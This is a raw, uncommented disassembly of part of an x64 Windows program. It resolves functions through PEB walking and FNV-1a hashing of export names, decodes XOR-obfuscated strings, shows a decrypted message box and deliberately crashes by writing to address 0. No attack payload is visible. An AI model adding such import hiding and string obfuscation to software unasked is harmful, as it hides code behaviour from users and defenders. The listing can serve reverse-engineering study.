mov esi, dword [rcx + r10 + 0x88]
add rsi, r10
cmp rsi, r10
je 0x140065957
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x140065957
mov edi, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rdi]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140065952
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x140065930
cmp r8d, 0xa52bcaf9
je 0x14006595c
test r9d, r9d
jne 0x140065910
mov rax, qword [rax]
jmp 0x1400658e0
mov ecx, dword [rsi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rsi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
call rax
mov dword [0], 0xdead
lea rcx, [rbp + 0x378]
call fcn.1400162c0
movss xmm0, dword [rax]
mulss xmm0, dword [0x14011f320]
subss xmm0, dword [0x14011f3e0]
call fcn.140016070
call fcn.140036c50
lea rcx, [rbp + 0x380]
call fcn.1400162c0
movss xmm0, dword [rax]
cvtps2pd xmm0, xmm0
divsd xmm0, xmm11
subsd xmm0, xmm12
cvtpd2ps xmm0, xmm0
call fcn.140016070
lea rcx, [0x140188f80]
call fcn.140068200
lea rdx, [rbp + 0x703]
mov byte [rbp - 0x2d], 0
lea rcx, [rbp - 0x2d]
mov rdi, rax
call fcn.1400667e0
movzx ecx, byte [rax + 0xa]
test cl, cl
je 0x140065a28
xor byte [rax], 0x32
xor byte [rax + 1], 0x33
xor byte [rax + 2], 0x34
xor byte [rax + 3], 0x35
xor byte [rax + 4], 0x36
xor byte [rax + 5], 0x37
xor byte [rax + 6], 0x38
xor byte [rax + 7], 0x39
xor byte [rax + 8], 0x3a
xor byte [rax + 9], 0x3b
xor cl, 0x3c
mov byte [rax + 0xa], cl
mov qword [rsp + 0x30], r14
lea r8, [0x14018a630]
mov qword [rsp + 0x28], r14
mov r9d, 0xff
mov rdx, rdi
mov dword [rsp + 0x20], r14d
mov rcx, rax
call fcn.140036e10
call fcn.140036c50
lea rcx, [rbp + 0x388]
call fcn.1400162c0
movss xmm0, dword [rax]
cvtps2pd xmm0, xmm0
divsd xmm0, xmm11
subsd xmm0, xmm12
cvtpd2ps xmm0, xmm0
call fcn.140016070
lea rcx, [0x140189278]
call fcn.140068200
lea rdx, [rbp + 0x70e]
mov byte [rbp - 0x2c], 0
lea rcx, [rbp - 0x2c]
mov rdi, rax
call fcn.140066810
movzx ecx, byte [rax + 0xa]
test cl, cl
je 0x140065ad2
xor byte [rax], 0x32
xor byte [rax + 1], 0x33
xor byte [rax + 2], 0x34
xor byte [rax + 3], 0x35
xor byte [rax + 4], 0x36
xor byte [rax + 5], 0x37
xor byte [rax + 6], 0x38
xor byte [rax + 7], 0x39
xor byte [rax + 8], 0x3a
xor byte [rax + 9], 0x3b
xor cl, 0x3c
mov byte [rax + 0xa], cl
mov qword [rsp + 0x30], r14
lea r8, [0x14018a890]
mov qword [rsp + 0x28], r14
mov r9d, 0xff
mov rdx, rdi
mov dword [rsp + 0x20], 0x8000
mov rcx, rax
call fcn.140036e10
call fcn.140036c50
lea rcx, [rbp + 0x390]
call fcn.1400162c0
movss xmm0, dword [rax]
cvtps2pd xmm0, xmm0
divsd xmm0, xmm11
subsd xmm0, xmm12
cvtpd2ps xmm0, xmm0
call fcn.140016070
lea rcx, [0x1401890f8]
call fcn.140068200
lea rdx, [rbp + 0x60a]
mov byte [rbp - 0x2b], 0
lea rcx, [rbp - 0x2b]
mov rdi, rax
call fcn.140066840
movzx ecx, byte [rax + 9]
test cl, cl
je 0x140065b7b
xor byte [rax], 0x32
xor byte [rax + 1], 0x33
xor byte [rax + 2], 0x34
xor byte [rax + 3], 0x35
xor byte [rax + 4], 0x36
xor byte [rax + 5], 0x37
xor byte [rax + 6], 0x38
xor byte [rax + 7], 0x39
xor byte [rax + 8], 0x3a
xor cl, 0x3b
mov byte [rax + 9], cl
mov qword [rsp + 0x30], r14
lea r8, [0x14018a730]
mov qword [rsp + 0x28], r14
mov r9d, 0xff
mov rdx, rdi
mov dword [rsp + 0x20], 0x8000
mov rcx, rax
call fcn.140036e10
lea rcx, [rbp + 0x398]
call fcn.1400162c0
movss xmm0, dword [rax]
cvtps2pd xmm0, xmm0
divsd xmm0, qword [str.ffffff]
addsd xmm0, qword [0x14011f3a0]
cvtpd2ps xmm0, xmm0
call fcn.140016070
movaps xmm2, xmm13
lea rcx, [rbp + 0x3a0]
movaps xmm1, xmm14
call fcn.140001e70
lea rcx, [0x140189238]
mov rdi, rax
call fcn.140068200
mov rdx, rdi
mov rcx, rax
call fcn.1400353e0
test al, al
je 0x140066176
lea rdx, [0x1400f818a]
lea rcx, [rbp + 0x1190]
call fcn.140068400
lea rdx, [0x14018a730]
mov r14, rax
lea rcx, [rbp + 0x11b0]
call fcn.140068400
lea rdx, [0x14018a890]
mov rsi, rax
lea rcx, [rbp + 0x11d0]
call fcn.140068400
lea rdx, [0x14018a630]
mov rdi, rax
lea rcx, [rbp + 0x11f0]
call fcn.140068400
mov r9, rsi
mov qword [rsp + 0x20], r14
mov r8, rdi
lea rcx, [0x14018ab10]
mov rdx, rax
call fcn.14008ec50
cmp byte [0x14018ad20], 0
je 0x14006611d
lea rdx, [rbp + 0x2a6]
mov byte [rbp - 0x2a], 0
lea rcx, [rbp - 0x2a]
call fcn.1400662a0
movzx ecx, byte [rax + 5]
test cl, cl
je 0x140065cb8
xor byte [rax], 0x32
xor byte [rax + 1], 0x33
xor byte [rax + 2], 0x34
xor byte [rax + 3], 0x35
xor byte [rax + 4], 0x36
xor cl, 0x37
mov byte [rax + 5], cl
xor edx, edx
mov rcx, rax
call fcn.1400532f0
test al, al
je 0x140065f15
xor r12d, r12d
mov dword [rbp + 0xd4], r12d
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov esi, dword [rcx + r10 + 0x88]
add rsi, r10
cmp rsi, r10
je 0x140065d67
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x140065d67
mov edi, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rdi + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140065d62
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x140065d40
cmp r8d, 0xcded1a85
je 0x140065d6c
test r9d, r9d
jne 0x140065d20
mov rax, qword [rax]
jmp 0x140065cf0
mov ecx, dword [rsi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rsi + 0x1c]
add rcx, r10
mov edi, dword [rcx + rdx*4]
lea rcx, [rbp + 0xd4]
add rdi, r10
call fcn.140069600
mov ecx, dword [rax]
call rdi
mov dword [rbp + 0xd8], r12d
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov esi, dword [rcx + r10 + 0x88]
add rsi, r10
cmp rsi, r10
je 0x140065e27
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x140065e27
mov edi, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rdi + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140065e22
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x140065e00
cmp r8d, 0xe80fd3a
je 0x140065e2c
test r9d, r9d
jne 0x140065de0
mov rax, qword [rax]
jmp 0x140065db0
mov ecx, dword [rsi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rsi + 0x1c]
add rcx, r10
mov edi, dword [rcx + rdx*4]
lea rcx, [rbp + 0xd8]
add rdi, r10
call fcn.140069600
mov ecx, dword [rax]
call rdi
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov esi, dword [rcx + r10 + 0x88]
add rsi, r10
cmp rsi, r10
je 0x140065ee7
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x140065ee7
mov edi, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rdi + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140065ee2
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x140065ec0
cmp r8d, 0xa52bcaf9
je 0x140065eec
test r9d, r9d
jne 0x140065ea0
mov rax, qword [rax]
jmp 0x140065e70
mov ecx, dword [rsi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rsi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
call rax
mov dword [0], 0xdead
jmp 0x140066176
lea rdx, [rbp + 0x2c4]
mov byte [rbp - 0x29], 0
lea rcx, [rbp - 0x29]
call fcn.140066890
mov rdi, rax
movzx eax, byte [rax + 5]
test al, al
je 0x140065f4c
xor byte [rdi], 0x32
xor byte [rdi + 1], 0x33
xor byte [rdi + 2], 0x34
xor byte [rdi + 3], 0x35
xor byte [rdi + 4], 0x36
xor al, 0x37
mov byte [rdi + 5], al
lea rdx, [rbp + 0x1378]
mov byte [rbp - 0x28], 0
lea rcx, [rbp - 0x28]
call fcn.140066860
mov r10, rax
cmp byte [rax + 0x22], 0
je 0x140066100
xor r14d, r14d
mov r8d, r14d
cmp r12d, 2
jl 0x1400660c5
movdqa xmm0, xmmword [0x14011f5c0]
mov eax, Ordinal_32
movdqa xmm5, xmmword [0x14011f510]
mov rcx, r10
movdqa xmm4, xmmword [0x14011f5b0]
movdqa xmm7, xmmword [0x14011f540]
movdqa xmmword [rbp - 0x80], xmm0
mov edx, dword [rbp - 0x80]
movd xmm8, eax
movd xmm6, r15d
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x14011f5a0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14011f5a0]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x20
jl 0x140065fc0
cmp r8d, 0x23
jge 0x140066100
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x23
jl 0x1400660d0
mov r9d, 0x40
mov r8, rdi
mov rdx, r10
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov byte [0x14018a61c], r15b
jmp 0x140066176
lea rdx, [rbp + 0x2ac]
mov byte [rsp + 0x61], 0
lea rcx, [rsp + 0x61]
call fcn.140066890
mov rdi, rax
movzx eax, byte [rax + 5]
test al, al
je 0x140066156
xor byte [rdi], 0x32
xor byte [rdi + 1], 0x33
xor byte [rdi + 2], 0x34
xor byte [rdi + 3], 0x35
xor byte [rdi + 4], 0x36
xor al, 0x37
mov byte [rdi + 5], al
lea rcx, [0x14018ad28]
call fcn.140068200
mov r9d, 0x40
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
movss xmm1, dword [0x14018a848]
xor ecx, ecx
mulss xmm1, dword [r13]
call fcn.140004bf0
mov ecx, r15d
call fcn.140004cc0
movss xmm7, dword [0x14011f410]
movss xmm8, dword [0x14011f3d8]
jmp 0x140064bff
call fcn.14003f3c0
call fcn.14003f700
mov rbx, qword [0x14018a620]
mov qword [0x14018a620], rbx
call fcn.140006b20
mov rcx, rbx
mov qword [0x14018a620], 0
call fcn.14001fca0
call fcn.140066ad0
mov rcx, qword [0x14018a860]
call qword [sym.imp.USER32.dll_DestroyWindow]
mov rdx, qword [rbp + 0x1c8]
mov rcx, qword [rbp + 0x1f0]
call qword [sym.imp.USER32.dll_UnregisterClassW]
xor r15d, r15d
lea rcx, [rbp + 0x720]
call fcn.1400687e0
movaps xmm15, xmmword [rsp + 0x1660]
mov eax, r15d
mov r15, qword [rsp + 0x1700]
movaps xmm14, xmmword [rsp + 0x1670]
movaps xmm13, xmmword [rsp + 0x1680]
movaps xmm12, xmmword [rsp + 0x1690]
movaps xmm11, xmmword [rsp + 0x16a0]
movaps xmm10, xmmword [rsp + 0x16b0]
movaps xmm9, xmmword [rsp + 0x16c0]
movaps xmm8, xmmword [rsp + 0x16d0]
movaps xmm7, xmmword [rsp + 0x16e0]
movaps xmm6, xmmword [rsp + 0x16f0]
mov r14, qword [rsp + 0x1740]
mov r12, qword [rsp + 0x1738]
mov rsi, qword [rsp + 0x1730]
add rsp, 0x1708
pop r13
pop rdi
pop rbx
pop rbp
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3